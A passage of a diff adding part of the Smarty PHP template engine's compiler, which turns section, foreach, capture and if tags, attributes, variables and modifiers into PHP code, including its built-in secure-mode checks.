+        $output .= "unset(\$this->_sections[$section_name]);\n";
+        $section_props = "\$this->_sections[$section_name]";
+
+        foreach ($attrs as $attr_name => $attr_value) {
+            switch ($attr_name) {
+                case 'loop':
+                    $output .= "{$section_props}['loop'] = is_array(\$_loop=$attr_value) ? count(\$_loop) : max(0, (int)\$_loop); unset(\$_loop);\n";
+                    break;
+
+                case 'show':
+                    if (is_bool($attr_value))
+                        $show_attr_value = $attr_value ? 'true' : 'false';
+                    else
+                        $show_attr_value = "(bool)$attr_value";
+                    $output .= "{$section_props}['show'] = $show_attr_value;\n";
+                    break;
+
+                case 'name':
+                    $output .= "{$section_props}['$attr_name'] = $attr_value;\n";
+                    break;
+
+                case 'max':
+                case 'start':
+                    $output .= "{$section_props}['$attr_name'] = (int)$attr_value;\n";
+                    break;
+
+                case 'step':
+                    $output .= "{$section_props}['$attr_name'] = ((int)$attr_value) == 0 ? 1 : (int)$attr_value;\n";
+                    break;
+
+                default:
+                    $this->_syntax_error("unknown section attribute - '$attr_name'", E_USER_ERROR, __FILE__, __LINE__);
+                    break;
+            }
+        }
+
+        if (!isset($attrs['show']))
+            $output .= "{$section_props}['show'] = true;\n";
+
+        if (!isset($attrs['loop']))
+            $output .= "{$section_props}['loop'] = 1;\n";
+
+        if (!isset($attrs['max']))
+            $output .= "{$section_props}['max'] = {$section_props}['loop'];\n";
+        else
+            $output .= "if ({$section_props}['max'] < 0)\n" .
+                       "    {$section_props}['max'] = {$section_props}['loop'];\n";
+
+        if (!isset($attrs['step']))
+            $output .= "{$section_props}['step'] = 1;\n";
+
+        if (!isset($attrs['start']))
+            $output .= "{$section_props}['start'] = {$section_props}['step'] > 0 ? 0 : {$section_props}['loop']-1;\n";
+        else {
+            $output .= "if ({$section_props}['start'] < 0)\n" .
+                       "    {$section_props}['start'] = max({$section_props}['step'] > 0 ? 0 : -1, {$section_props}['loop'] + {$section_props}['start']);\n" .
+                       "else\n" .
+                       "    {$section_props}['start'] = min({$section_props}['start'], {$section_props}['step'] > 0 ? {$section_props}['loop'] : {$section_props}['loop']-1);\n";
+        }
+
+        $output .= "if ({$section_props}['show']) {\n";
+        if (!isset($attrs['start']) && !isset($attrs['step']) && !isset($attrs['max'])) {
+            $output .= "    {$section_props}['total'] = {$section_props}['loop'];\n";
+        } else {
+            $output .= "    {$section_props}['total'] = min(ceil(({$section_props}['step'] > 0 ? {$section_props}['loop'] - {$section_props}['start'] : {$section_props}['start']+1)/abs({$section_props}['step'])), {$section_props}['max']);\n";
+        }
+        $output .= "    if ({$section_props}['total'] == 0)\n" .
+                   "        {$section_props}['show'] = false;\n" .
+                   "} else\n" .
+                   "    {$section_props}['total'] = 0;\n";
+
+        $output .= "if ({$section_props}['show']):\n";
+        $output .= "
+            for ({$section_props}['index'] = {$section_props}['start'], {$section_props}['iteration'] = 1;
+                 {$section_props}['iteration'] <= {$section_props}['total'];
+                 {$section_props}['index'] += {$section_props}['step'], {$section_props}['iteration']++):\n";
+        $output .= "{$section_props}['rownum'] = {$section_props}['iteration'];\n";
+        $output .= "{$section_props}['index_prev'] = {$section_props}['index'] - {$section_props}['step'];\n";
+        $output .= "{$section_props}['index_next'] = {$section_props}['index'] + {$section_props}['step'];\n";
+        $output .= "{$section_props}['first']      = ({$section_props}['iteration'] == 1);\n";
+        $output .= "{$section_props}['last']       = ({$section_props}['iteration'] == {$section_props}['total']);\n";
+
+        $output .= "?>";
+
+        return $output;
+    }
+
+
+    /**
+     * Compile {foreach ...} tag.
+     *
+     * @param string $tag_args
+     * @return string
+     */
+    function _compile_foreach_start($tag_args)
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+        $arg_list = array();
+
+        if (empty($attrs['from'])) {
+            return $this->_syntax_error("foreach: missing 'from' attribute", E_USER_ERROR, __FILE__, __LINE__);
+        }
+        $from = $attrs['from'];
+
+        if (empty($attrs['item'])) {
+            return $this->_syntax_error("foreach: missing 'item' attribute", E_USER_ERROR, __FILE__, __LINE__);
+        }
+        $item = $this->_dequote($attrs['item']);
+        if (!preg_match('~^\w+$~', $item)) {
+            return $this->_syntax_error("'foreach: item' must be a variable name (literal string)", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        if (isset($attrs['key'])) {
+            $key  = $this->_dequote($attrs['key']);
+            if (!preg_match('~^\w+$~', $key)) {
+                return $this->_syntax_error("foreach: 'key' must to be a variable name (literal string)", E_USER_ERROR, __FILE__, __LINE__);
+            }
+            $key_part = "\$this->_tpl_vars['$key'] => ";
+        } else {
+            $key = null;
+            $key_part = '';
+        }
+
+        if (isset($attrs['name'])) {
+            $name = $attrs['name'];
+        } else {
+            $name = null;
+        }
+
+        $output = '<?php ';
+        $output .= "\$_from = $from; if (!is_array(\$_from) && !is_object(\$_from)) { settype(\$_from, 'array'); }";
+        if (isset($name)) {
+            $foreach_props = "\$this->_foreach[$name]";
+            $output .= "{$foreach_props} = array('total' => count(\$_from), 'iteration' => 0);\n";
+            $output .= "if ({$foreach_props}['total'] > 0):\n";
+            $output .= "    foreach (\$_from as $key_part\$this->_tpl_vars['$item']):\n";
+            $output .= "        {$foreach_props}['iteration']++;\n";
+        } else {
+            $output .= "if (count(\$_from)):\n";
+            $output .= "    foreach (\$_from as $key_part\$this->_tpl_vars['$item']):\n";
+        }
+        $output .= '?>';
+
+        return $output;
+    }
+
+
+    /**
+     * Compile {capture} .. {/capture} tags
+     *
+     * @param boolean $start true if this is the {capture} tag
+     * @param string $tag_args
+     * @return string
+     */
+
+    function _compile_capture_tag($start, $tag_args = '')
+    {
+        $attrs = $this->_parse_attrs($tag_args);
+
+        if ($start) {
+            if (isset($attrs['name']))
+                $buffer = $attrs['name'];
+            else
+                $buffer = "'default'";
+
+            if (isset($attrs['assign']))
+                $assign = $attrs['assign'];
+            else
+                $assign = null;
+            $output = "<?php ob_start(); ?>";
+            $this->_capture_stack[] = array($buffer, $assign);
+        } else {
+            list($buffer, $assign) = array_pop($this->_capture_stack);
+            $output = "<?php \$this->_smarty_vars['capture'][$buffer] = ob_get_contents(); ";
+            if (isset($assign)) {
+                $output .= " \$this->assign($assign, ob_get_contents());";
+            }
+            $output .= "ob_end_clean(); ?>";
+        }
+
+        return $output;
+    }
+
+    /**
+     * Compile {if ...} tag
+     *
+     * @param string $tag_args
+     * @param boolean $elseif if true, uses elseif instead of if
+     * @return string
+     */
+    function _compile_if_tag($tag_args, $elseif = false)
+    {
+
+        /* Tokenize args for 'if' tag. */
+        preg_match_all('~(?>
+                ' . $this->_obj_call_regexp . '(?:' . $this->_mod_regexp . '*)? | # valid object call
+                ' . $this->_var_regexp . '(?:' . $this->_mod_regexp . '*)?    | # var or quoted string
+                \-?0[xX][0-9a-fA-F]+|\-?\d+(?:\.\d+)?|\.\d+|!==|===|==|!=|<>|<<|>>|<=|>=|\&\&|\|\||\(|\)|,|\!|\^|=|\&|\~|<|>|\||\%|\+|\-|\/|\*|\@    | # valid non-word token
+                \b\w+\b                                                        | # valid word token
+                \S+                                                           # anything else
+                )~x', $tag_args, $match);
+
+        $tokens = $match[0];
+
+        if(empty($tokens)) {
+            $_error_msg = $elseif ? "'elseif'" : "'if'";
+            $_error_msg .= ' statement requires arguments'; 
+            $this->_syntax_error($_error_msg, E_USER_ERROR, __FILE__, __LINE__);
+        }
+            
+                
+        // make sure we have balanced parenthesis
+        $token_count = array_count_values($tokens);
+        if(isset($token_count['(']) && $token_count['('] != $token_count[')']) {
+            $this->_syntax_error("unbalanced parenthesis in if statement", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        $is_arg_stack = array();
+
+        for ($i = 0; $i < count($tokens); $i++) {
+
+            $token = &$tokens[$i];
+
+            switch (strtolower($token)) {
+                case '!':
+                case '%':
+                case '!==':
+                case '==':
+                case '===':
+                case '>':
+                case '<':
+                case '!=':
+                case '<>':
+                case '<<':
+                case '>>':
+                case '<=':
+                case '>=':
+                case '&&':
+                case '||':
+                case '|':
+                case '^':
+                case '&':
+                case '~':
+                case ')':
+                case ',':
+                case '+':
+                case '-':
+                case '*':
+                case '/':
+                case '@':
+                    break;
+
+                case 'eq':
+                    $token = '==';
+                    break;
+
+                case 'ne':
+                case 'neq':
+                    $token = '!=';
+                    break;
+
+                case 'lt':
+                    $token = '<';
+                    break;
+
+                case 'le':
+                case 'lte':
+                    $token = '<=';
+                    break;
+
+                case 'gt':
+                    $token = '>';
+                    break;
+
+                case 'ge':
+                case 'gte':
+                    $token = '>=';
+                    break;
+
+                case 'and':
+                    $token = '&&';
+                    break;
+
+                case 'or':
+                    $token = '||';
+                    break;
+
+                case 'not':
+                    $token = '!';
+                    break;
+
+                case 'mod':
+                    $token = '%';
+                    break;
+
+                case '(':
+                    array_push($is_arg_stack, $i);
+                    break;
+
+                case 'is':
+                    /* If last token was a ')', we operate on the parenthesized
+                       expression. The start of the expression is on the stack.
+                       Otherwise, we operate on the last encountered token. */
+                    if ($tokens[$i-1] == ')')
+                        $is_arg_start = array_pop($is_arg_stack);
+                    else
+                        $is_arg_start = $i-1;
+                    /* Construct the argument for 'is' expression, so it knows
+                       what to operate on. */
+                    $is_arg = implode(' ', array_slice($tokens, $is_arg_start, $i - $is_arg_start));
+
+                    /* Pass all tokens from next one until the end to the
+                       'is' expression parsing function. The function will
+                       return modified tokens, where the first one is the result
+                       of the 'is' expression and the rest are the tokens it
+                       didn't touch. */
+                    $new_tokens = $this->_parse_is_expr($is_arg, array_slice($tokens, $i+1));
+
+                    /* Replace the old tokens with the new ones. */
+                    array_splice($tokens, $is_arg_start, count($tokens), $new_tokens);
+
+                    /* Adjust argument start so that it won't change from the
+                       current position for the next iteration. */
+                    $i = $is_arg_start;
+                    break;
+
+                default:
+                    if(preg_match('~^' . $this->_func_regexp . '$~', $token) ) {
+                            // function call
+                            if($this->security &&
+                               !in_array($token, $this->security_settings['IF_FUNCS'])) {
+                                $this->_syntax_error("(secure mode) '$token' not allowed in if statement", E_USER_ERROR, __FILE__, __LINE__);
+                            }
+                    } elseif(preg_match('~^' . $this->_var_regexp . '$~', $token) && (strpos('+-*/^%&|', substr($token, -1)) === false) && isset($tokens[$i+1]) && $tokens[$i+1] == '(') {
+                        // variable function call
+                        $this->_syntax_error("variable function call '$token' not allowed in if statement", E_USER_ERROR, __FILE__, __LINE__);                      
+                    } elseif(preg_match('~^' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '(?:' . $this->_mod_regexp . '*)$~', $token)) {
+                        // object or variable
+                        $token = $this->_parse_var_props($token);
+                    } elseif(is_numeric($token)) {
+                        // number, skip it
+                    } else {
+                        $this->_syntax_error("unidentified token '$token'", E_USER_ERROR, __FILE__, __LINE__);
+                    }
+                    break;
+            }
+        }
+
+        if ($elseif)
+            return '<?php elseif ('.implode(' ', $tokens).'): ?>';
+        else
+            return '<?php if ('.implode(' ', $tokens).'): ?>';
+    }
+
+
+    function _compile_arg_list($type, $name, $attrs, &$cache_code) {
+        $arg_list = array();
+
+        if (isset($type) && isset($name)
+            && isset($this->_plugins[$type])
+            && isset($this->_plugins[$type][$name])
+            && empty($this->_plugins[$type][$name][4])
+            && is_array($this->_plugins[$type][$name][5])
+            ) {
+            /* we have a list of parameters that should be cached */
+            $_cache_attrs = $this->_plugins[$type][$name][5];
+            $_count = $this->_cache_attrs_count++;
+            $cache_code = "\$_cache_attrs =& \$this->_smarty_cache_attrs('$this->_cache_serial','$_count');";
+
+        } else {
+            /* no parameters are cached */
+            $_cache_attrs = null;
+        }
+
+        foreach ($attrs as $arg_name => $arg_value) {
+            if (is_bool($arg_value))
+                $arg_value = $arg_value ? 'true' : 'false';
+            if (is_null($arg_value))
+                $arg_value = 'null';
+            if ($_cache_attrs && in_array($arg_name, $_cache_attrs)) {
+                $arg_list[] = "'$arg_name' => (\$this->_cache_including) ? \$_cache_attrs['$arg_name'] : (\$_cache_attrs['$arg_name']=$arg_value)";
+            } else {
+                $arg_list[] = "'$arg_name' => $arg_value";
+            }
+        }
+        return $arg_list;
+    }
+
+    /**
+     * Parse is expression
+     *
+     * @param string $is_arg
+     * @param array $tokens
+     * @return array
+     */
+    function _parse_is_expr($is_arg, $tokens)
+    {
+        $expr_end = 0;
+        $negate_expr = false;
+
+        if (($first_token = array_shift($tokens)) == 'not') {
+            $negate_expr = true;
+            $expr_type = array_shift($tokens);
+        } else
+            $expr_type = $first_token;
+
+        switch ($expr_type) {
+            case 'even':
+                if (isset($tokens[$expr_end]) && $tokens[$expr_end] == 'by') {
+                    $expr_end++;
+                    $expr_arg = $tokens[$expr_end++];
+                    $expr = "!(1 & ($is_arg / " . $this->_parse_var_props($expr_arg) . "))";
+                } else
+                    $expr = "!(1 & $is_arg)";
+                break;
+
+            case 'odd':
+                if (isset($tokens[$expr_end]) && $tokens[$expr_end] == 'by') {
+                    $expr_end++;
+                    $expr_arg = $tokens[$expr_end++];
+                    $expr = "(1 & ($is_arg / " . $this->_parse_var_props($expr_arg) . "))";
+                } else
+                    $expr = "(1 & $is_arg)";
+                break;
+
+            case 'div':
+                if (@$tokens[$expr_end] == 'by') {
+                    $expr_end++;
+                    $expr_arg = $tokens[$expr_end++];
+                    $expr = "!($is_arg % " . $this->_parse_var_props($expr_arg) . ")";
+                } else {
+                    $this->_syntax_error("expecting 'by' after 'div'", E_USER_ERROR, __FILE__, __LINE__);
+                }
+                break;
+
+            default:
+                $this->_syntax_error("unknown 'is' expression - '$expr_type'", E_USER_ERROR, __FILE__, __LINE__);
+                break;
+        }
+
+        if ($negate_expr) {
+            $expr = "!($expr)";
+        }
+
+        array_splice($tokens, 0, $expr_end, $expr);
+
+        return $tokens;
+    }
+
+
+    /**
+     * Parse attribute string
+     *
+     * @param string $tag_args
+     * @return array
+     */
+    function _parse_attrs($tag_args)
+    {
+
+        /* Tokenize tag attributes. */
+        preg_match_all('~(?:' . $this->_obj_call_regexp . '|' . $this->_qstr_regexp . ' | (?>[^"\'=\s]+)
+                         )+ |
+                         [=]
+                        ~x', $tag_args, $match);
+        $tokens       = $match[0];
+
+        $attrs = array();
+        /* Parse state:
+            0 - expecting attribute name
+            1 - expecting '='
+            2 - expecting attribute value (not '=') */
+        $state = 0;
+
+        foreach ($tokens as $token) {
+            switch ($state) {
+                case 0:
+                    /* If the token is a valid identifier, we set attribute name
+                       and go to state 1. */
+                    if (preg_match('~^\w+$~', $token)) {
+                        $attr_name = $token;
+                        $state = 1;
+                    } else
+                        $this->_syntax_error("invalid attribute name: '$token'", E_USER_ERROR, __FILE__, __LINE__);
+                    break;
+
+                case 1:
+                    /* If the token is '=', then we go to state 2. */
+                    if ($token == '=') {
+                        $state = 2;
+                    } else
+                        $this->_syntax_error("expecting '=' after attribute name '$last_token'", E_USER_ERROR, __FILE__, __LINE__);
+                    break;
+
+                case 2:
+                    /* If token is not '=', we set the attribute value and go to
+                       state 0. */
+                    if ($token != '=') {
+                        /* We booleanize the token if it's a non-quoted possible
+                           boolean value. */
+                        if (preg_match('~^(on|yes|true)$~', $token)) {
+                            $token = 'true';
+                        } else if (preg_match('~^(off|no|false)$~', $token)) {
+                            $token = 'false';
+                        } else if ($token == 'null') {
+                            $token = 'null';
+                        } else if (preg_match('~^' . $this->_num_const_regexp . '|0[xX][0-9a-fA-F]+$~', $token)) {
+                            /* treat integer literally */
+                        } else if (!preg_match('~^' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '(?:' . $this->_mod_regexp . ')*$~', $token)) {
+                            /* treat as a string, double-quote it escaping quotes */
+                            $token = '"'.addslashes($token).'"';
+                        }
+
+                        $attrs[$attr_name] = $token;
+                        $state = 0;
+                    } else
+                        $this->_syntax_error("'=' cannot be an attribute value", E_USER_ERROR, __FILE__, __LINE__);
+                    break;
+            }
+            $last_token = $token;
+        }
+
+        if($state != 0) {
+            if($state == 1) {
+                $this->_syntax_error("expecting '=' after attribute name '$last_token'", E_USER_ERROR, __FILE__, __LINE__);
+            } else {
+                $this->_syntax_error("missing attribute value", E_USER_ERROR, __FILE__, __LINE__);
+            }
+        }
+
+        $this->_parse_vars_props($attrs);
+
+        return $attrs;
+    }
+
+    /**
+     * compile multiple variables and section properties tokens into
+     * PHP code
+     *
+     * @param array $tokens
+     */
+    function _parse_vars_props(&$tokens)
+    {
+        foreach($tokens as $key => $val) {
+            $tokens[$key] = $this->_parse_var_props($val);
+        }
+    }
+
+    /**
+     * compile single variable and section properties token into
+     * PHP code
+     *
+     * @param string $val
+     * @param string $tag_attrs
+     * @return string
+     */
+    function _parse_var_props($val)
+    {
+        $val = trim($val);
+
+        if(preg_match('~^(' . $this->_obj_call_regexp . '|' . $this->_dvar_regexp . ')(' . $this->_mod_regexp . '*)$~', $val, $match)) {
+            // $ variable or object
+            $return = $this->_parse_var($match[1]);
+            $modifiers = $match[2];
+            if (!empty($this->default_modifiers) && !preg_match('~(^|\|)smarty:nodefaults($|\|)~',$modifiers)) {
+                $_default_mod_string = implode('|',(array)$this->default_modifiers);
+                $modifiers = empty($modifiers) ? $_default_mod_string : $_default_mod_string . '|' . $modifiers;
+            }
+            $this->_parse_modifiers($return, $modifiers);
+            return $return;
+        } elseif (preg_match('~^' . $this->_db_qstr_regexp . '(?:' . $this->_mod_regexp . '*)$~', $val)) {
+                // double quoted text
+                preg_match('~^(' . $this->_db_qstr_regexp . ')('. $this->_mod_regexp . '*)$~', $val, $match);
+                $return = $this->_expand_quoted_text($match[1]);
+                if($match[2] != '') {
+                    $this->_parse_modifiers($return, $match[2]);
+                }
+                return $return;
+            }
+        elseif(preg_match('~^' . $this->_num_const_regexp . '(?:' . $this->_mod_regexp . '*)$~', $val)) {
+                // numerical constant
+                preg_match('~^(' . $this->_num_const_regexp . ')('. $this->_mod_regexp . '*)$~', $val, $match);
+                if($match[2] != '') {
+                    $this->_parse_modifiers($match[1], $match[2]);
+                    return $match[1];
+                }
+            }
+        elseif(preg_match('~^' . $this->_si_qstr_regexp . '(?:' . $this->_mod_regexp . '*)$~', $val)) {
+                // single quoted text
+                preg_match('~^(' . $this->_si_qstr_regexp . ')('. $this->_mod_regexp . '*)$~', $val, $match);
+                if($match[2] != '') {
+                    $this->_parse_modifiers($match[1], $match[2]);
+                    return $match[1];
+                }
+            }
+        elseif(preg_match('~^' . $this->_cvar_regexp . '(?:' . $this->_mod_regexp . '*)$~', $val)) {
+                // config var
+                return $this->_parse_conf_var($val);
+            }
+        elseif(preg_match('~^' . $this->_svar_regexp . '(?:' . $this->_mod_regexp . '*)$~', $val)) {
+                // section var
+                return $this->_parse_section_prop($val);
+            }
+        elseif(!in_array($val, $this->_permitted_tokens) && !is_numeric($val)) {
+            // literal string
+            return $this->_expand_quoted_text('"' . strtr($val, array('\\' => '\\\\', '"' => '\\"')) .'"');
+        }
+        return $val;
+    }
+
+    /**
+     * expand quoted text with embedded variables
+     *
+     * @param string $var_expr
+     * @return string
+     */
+    function _expand_quoted_text($var_expr)
+    {
+        // if contains unescaped $, expand it
+        if(preg_match_all('~(?:\`(?<!\\\\)\$' . $this->_dvar_guts_regexp . '(?:' . $this->_obj_ext_regexp . ')*\`)|(?:(?<!\\\\)\$\w+(\[[a-zA-Z0-9]+\])*)~', $var_expr, $_match)) {
+            $_match = $_match[0];
+            rsort($_match);
+            reset($_match);
+            foreach($_match as $_var) {
+                $var_expr = str_replace ($_var, '".(' . $this->_parse_var(str_replace('`','',$_var)) . ')."', $var_expr);
+            }
+            $_return = preg_replace('~\.""|(?<!\\\\)""\.~', '', $var_expr);
+        } else {
+            $_return = $var_expr;
+        }
+        // replace double quoted literal string with single quotes
+        $_return = preg_replace('~^"([\s\w]+)"$~',"'\\1'",$_return);
+        return $_return;
+    }
+
+    /**
+     * parse variable expression into PHP code
+     *
+     * @param string $var_expr
+     * @param string $output
+     * @return string
+     */
+    function _parse_var($var_expr)
+    {
+        $_has_math = false;
+        $_math_vars = preg_split('~('.$this->_dvar_math_regexp.'|'.$this->_qstr_regexp.')~', $var_expr, -1, PREG_SPLIT_DELIM_CAPTURE);
+
+        if(count($_math_vars) > 1) {
+            $_first_var = "";
+            $_complete_var = "";
+            $_output = "";
+            // simple check if there is any math, to stop recursion (due to modifiers with "xx % yy" as parameter)
+            foreach($_math_vars as $_k => $_math_var) {
+                $_math_var = $_math_vars[$_k];
+
+                if(!empty($_math_var) || is_numeric($_math_var)) {
+                    // hit a math operator, so process the stuff which came before it
+                    if(preg_match('~^' . $this->_dvar_math_regexp . '$~', $_math_var)) {
+                        $_has_math = true;
+                        if(!empty($_complete_var) || is_numeric($_complete_var)) {
+                            $_output .= $this->_parse_var($_complete_var);
+                        }
+
+                        // just output the math operator to php
+                        $_output .= $_math_var;
+
+                        if(empty($_first_var))
+                            $_first_var = $_complete_var;
+
+                        $_complete_var = "";
+                    } else {
+                        $_complete_var .= $_math_var;
+                    }
+                }
+            }
+            if($_has_math) {
+                if(!empty($_complete_var) || is_numeric($_complete_var))
+                    $_output .= $this->_parse_var($_complete_var);
+
+                // get the modifiers working (only the last var from math + modifier is left)
+                $var_expr = $_complete_var;
+            }
+        }
+
+        // prevent cutting of first digit in the number (we _definitly_ got a number if the first char is a digit)
+        if(is_numeric(substr($var_expr, 0, 1)))
+            $_var_ref = $var_expr;
+        else
+            $_var_ref = substr($var_expr, 1);
+        
+        if(!$_has_math) {
+            
+            // get [foo] and .foo and ->foo and (...) pieces
+            preg_match_all('~(?:^\w+)|' . $this->_obj_params_regexp . '|(?:' . $this->_var_bracket_regexp . ')|->\$?\w+|\.\$?\w+|\S+~', $_var_ref, $match);
+                        
+            $_indexes = $match[0];
+            $_var_name = array_shift($_indexes);
+
+            /* Handle $smarty.* variable references as a special case. */
+            if ($_var_name == 'smarty') {
+                /*
+                 * If the reference could be compiled, use the compiled output;
+                 * otherwise, fall back on the $smarty variable generated at
+                 * run-time.
+                 */
+                if (($smarty_ref = $this->_compile_smarty_ref($_indexes)) !== null) {
+                    $_output = $smarty_ref;
+                } else {
+                    $_var_name = substr(array_shift($_indexes), 1);
+                    $_output = "\$this->_smarty_vars['$_var_name']";
+                }
+            } elseif(is_numeric($_var_name) && is_numeric(substr($var_expr, 0, 1))) {
+                // because . is the operator for accessing arrays thru inidizes we need to put it together again for floating point numbers
+                if(count($_indexes) > 0)
+                {
+                    $_var_name .= implode("", $_indexes);
+                    $_indexes = array();
+                }
+                $_output = $_var_name;
+            } else {
+                $_output = "\$this->_tpl_vars['$_var_name']";
+            }
+
+            foreach ($_indexes as $_index) {
+                if (substr($_index, 0, 1) == '[') {
+                    $_index = substr($_index, 1, -1);
+                    if (is_numeric($_index)) {
+                        $_output .= "[$_index]";
+                    } elseif (substr($_index, 0, 1) == '$') {
+                        if (strpos($_index, '.') !== false) {
+                            $_output .= '[' . $this->_parse_var($_index) . ']';
+                        } else {
+                            $_output .= "[\$this->_tpl_vars['" . substr($_index, 1) . "']]";
+                        }
+                    } else {
+                        $_var_parts = explode('.', $_index);
+                        $_var_section = $_var_parts[0];
+                        $_var_section_prop = isset($_var_parts[1]) ? $_var_parts[1] : 'index';
+                        $_output .= "[\$this->_sections['$_var_section']['$_var_section_prop']]";
+                    }
+                } else if (substr($_index, 0, 1) == '.') {
+                    if (substr($_index, 1, 1) == '$')
+                        $_output .= "[\$this->_tpl_vars['" . substr($_index, 2) . "']]";
+                    else
+                        $_output .= "['" . substr($_index, 1) . "']";
+                } else if (substr($_index,0,2) == '->') {
+                    if(substr($_index,2,2) == '__') {
+                        $this->_syntax_error('call to internal object members is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+                    } elseif($this->security && substr($_index, 2, 1) == '_') {
+                        $this->_syntax_error('(secure) call to private object member is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+                    } elseif (substr($_index, 2, 1) == '$') {
+                        if ($this->security) {
+                            $this->_syntax_error('(secure) call to dynamic object member is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+                        } else {
+                            $_output .= '->{(($_var=$this->_tpl_vars[\''.substr($_index,3).'\']) && substr($_var,0,2)!=\'__\') ? $_var : $this->trigger_error("cannot access property \\"$_var\\"")}';
+                        }
+                    } else {
+                        $_output .= $_index;
+                    }
+                } elseif (substr($_index, 0, 1) == '(') {
+                    $_index = $this->_parse_parenth_args($_index);
+                    $_output .= $_index;
+                } else {
+                    $_output .= $_index;
+                }
+            }
+        }
+
+        return $_output;
+    }
+
+    /**
+     * parse arguments in function call parenthesis
+     *
+     * @param string $parenth_args
+     * @return string
+     */
+    function _parse_parenth_args($parenth_args)
+    {
+        preg_match_all('~' . $this->_param_regexp . '~',$parenth_args, $match);
+        $orig_vals = $match = $match[0];
+        $this->_parse_vars_props($match);
+        $replace = array();
+        for ($i = 0, $count = count($match); $i < $count; $i++) {
+            $replace[$orig_vals[$i]] = $match[$i];
+        }
+        return strtr($parenth_args, $replace);
+    }
+
+    /**
+     * parse configuration variable expression into PHP code
+     *
+     * @param string $conf_var_expr
+     */
+    function _parse_conf_var($conf_var_expr)
+    {
+        $parts = explode('|', $conf_var_expr, 2);
+        $var_ref = $parts[0];
+        $modifiers = isset($parts[1]) ? $parts[1] : '';
+
+        $var_name = substr($var_ref, 1, -1);
+
+        $output = "\$this->_config[0]['vars']['$var_name']";
+
+        $this->_parse_modifiers($output, $modifiers);
+
+        return $output;
+    }
+
+    /**
+     * parse section property expression into PHP code
+     *
+     * @param string $section_prop_expr
+     * @return string
+     */
+    function _parse_section_prop($section_prop_expr)
+    {
+        $parts = explode('|', $section_prop_expr, 2);
+        $var_ref = $parts[0];
+        $modifiers = isset($parts[1]) ? $parts[1] : '';
+
+        preg_match('!%(\w+)\.(\w+)%!', $var_ref, $match);
+        $section_name = $match[1];
+        $prop_name = $match[2];
+
+        $output = "\$this->_sections['$section_name']['$prop_name']";
+
+        $this->_parse_modifiers($output, $modifiers);
+
+        return $output;
+    }
+
+
+    /**
+     * parse modifier chain into PHP code
+     *
+     * sets $output to parsed modified chain
+     * @param string $output
+     * @param string $modifier_string
+     */
+    function _parse_modifiers(&$output, $modifier_string)
+    {
+        preg_match_all('~\|(@?\w+)((?>:(?:'. $this->_qstr_regexp . '|[^|]+))*)~', '|' . $modifier_string, $_match);
+        list(, $_modifiers, $modifier_arg_strings) = $_match;
+
+        for ($_i = 0, $_for_max = count($_modifiers); $_i < $_for_max; $_i++) {
+            $_modifier_name = $_modifiers[$_i];
+
+            if($_modifier_name == 'smarty') {
+                // skip smarty modifier
+                continue;
+            }
+
+            preg_match_all('~:(' . $this->_qstr_regexp . '|[^:]+)~', $modifier_arg_strings[$_i], $_match);
+            $_modifier_args = $_match[1];
+
+            if (substr($_modifier_name, 0, 1) == '@') {
+                $_map_array = false;
+                $_modifier_name = substr($_modifier_name, 1);
+            } else {
+                $_map_array = true;
+            }
+
+            if (empty($this->_plugins['modifier'][$_modifier_name])
+                && !$this->_get_plugin_filepath('modifier', $_modifier_name)
+                && function_exists($_modifier_name)) {
+                if ($this->security && !in_array($_modifier_name, $this->security_settings['MODIFIER_FUNCS'])) {
+                    $this->_trigger_fatal_error("[plugin] (secure mode) modifier '$_modifier_name' is not allowed" , $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+                } else {
+                    $this->_plugins['modifier'][$_modifier_name] = array($_modifier_name,  null, null, false);
+                }
+            }
+            $this->_add_plugin('modifier', $_modifier_name);
+
+            $this->_parse_vars_props($_modifier_args);
+
+            if($_modifier_name == 'default') {
+                // supress notifications of default modifier vars and args
+                if(substr($output, 0, 1) == '$') {
+                    $output = '@' . $output;
+                }
+                if(isset($_modifier_args[0]) && substr($_modifier_args[0], 0, 1) == '$') {
+                    $_modifier_args[0] = '@' . $_modifier_args[0];
+                }
+            }
+            if (count($_modifier_args) > 0)
+                $_modifier_args = ', '.implode(', ', $_modifier_args);
+            else
+                $_modifier_args = '';
+
+            if ($_map_array) {
+                $output = "((is_array(\$_tmp=$output)) ? \$this->_run_mod_handler('$_modifier_name', true, \$_tmp$_modifier_args) : " . $this->_compile_plugin_call('modifier', $_modifier_name) . "(\$_tmp$_modifier_args))";
+
+            } else {
+
+                $output = $this->_compile_plugin_call('modifier', $_modifier_name)."($output$_modifier_args)";
+
+            }
+        }
+    }
+
+
+    /**
+     * add plugin
+     *
+     * @param string $type
+     * @param string $name
+     * @param boolean? $delayed_loading
+     */
+    function _add_plugin($type, $name, $delayed_loading = null)
+    {
+        if (!isset($this->_plugin_info[$type])) {
+            $this->_plugin_info[$type] = array();
+        }
+        if (!isset($this->_plugin_info[$type][$name])) {
+            $this->_plugin_info[$type][$name] = array($this->_current_file,
+                                                      $this->_current_line_no,
+                                                      $delayed_loading);
+        }
+    }
+
+
+    /**
+     * Compiles references of type $smarty.foo
+     *
+     * @param string $indexes
+     * @return string
+     */
+    function _compile_smarty_ref(&$indexes)
+    {
+        /* Extract the reference name. */
+        $_ref = substr($indexes[0], 1);
+        foreach($indexes as $_index_no=>$_index) {
+            if (substr($_index, 0, 1) != '.' && $_index_no<2 || !preg_match('~^(\.|\[|->)~', $_index)) {
+                $this->_syntax_error('$smarty' . implode('', array_slice($indexes, 0, 2)) . ' is an invalid reference', E_USER_ERROR, __FILE__, __LINE__);
+            }
+        }
+
+        switch ($_ref) {
+            case 'now':
+                $compiled_ref = 'time()';
+                $_max_index = 1;
+                break;
+
+            case 'foreach':
+                array_shift($indexes);
+                $_var = $this->_parse_var_props(substr($indexes[0], 1));
+                $_propname = substr($indexes[1], 1);
+                $_max_index = 1;
+                switch ($_propname) {
+                    case 'index':
+                        array_shift($indexes);
+                        $compiled_ref = "(\$this->_foreach[$_var]['iteration']-1)";
+                        break;
+                        
+                    case 'first':
+                        array_shift($indexes);
+                        $compiled_ref = "(\$this->_foreach[$_var]['iteration'] <= 1)";
+                        break;
+
+                    case 'last':
+                        array_shift($indexes);
